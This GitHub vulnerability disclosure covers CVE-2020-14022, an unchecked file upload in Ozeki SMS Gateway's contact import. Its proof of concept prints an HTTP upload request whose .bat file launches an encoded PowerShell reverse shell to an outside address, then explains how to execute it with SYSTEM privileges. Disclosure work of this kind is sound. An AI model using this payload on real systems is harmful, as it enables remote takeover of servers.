Skip to content
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Disclosures/CVE-2020-14022-Dangerous File Upload-Ozeki SMS Gateway/
Disclosures/CVE-2020-14022-Dangerous File Upload-Ozeki SMS Gateway/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 

CVE-2020-14022: Ozeki SMS Gateway Dangerous File Upload in "Import Contacts"

Ozeki NG SMS Gateway 4.17.1 through 4.17.6 does not check the file type when bulk importing new contacts ("Import Contacts" functionality) from a file. It is possible to upload an executable or .bat file that can be executed with the help of a functionality (E.g. the "Application Starter" module) within the application.

Requirements:

This vulnerability requires:

  • Access to an Ozeki Web Application administration interface

Proof Of Concept:

Instead of importing a CSV file we imported a BAT file containing malicious PowerShell payload:

Upload HTTP Request:

POST /desktop HTTP/1.1
Host: <IP>:9501
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------863316458376014617655172093
Content-Length: 2240
Cookie: usrckenc=4ef***TRUNCATED***712
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------863316458376014617655172093
Content-Disposition: form-data; name="mode"

importaddressbook
-----------------------------863316458376014617655172093
Content-Disposition: form-data; name="layout"

MENUVIEW
-----------------------------863316458376014617655172093
Content-Disposition: form-data; name="MENU"

COMPOSEMENU2
-----------------------------863316458376014617655172093
Content-Disposition: form-data; name="MAIN"

ADDRESSBOOKIMPORT
-----------------------------863316458376014617655172093
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------863316458376014617655172093
Content-Disposition: form-data; name="uploadedfile"; filename="a.bat"
Content-Type: application/x-msdos-program

C:\windows\system32\cmd.exe /c start /b C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADEAMAAxAC4AMQAnACwAOAAwACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7AAoA

-----------------------------863316458376014617655172093—

The "a.bat" file was uploaded to "C:\Windows\Temp" folder:

By abusing the "Application starter" module, we can execute the uploaded file:

Now, when a message is received, the "a.bat" will be executed and the attacker will get a reverse shell with system privileges on the server.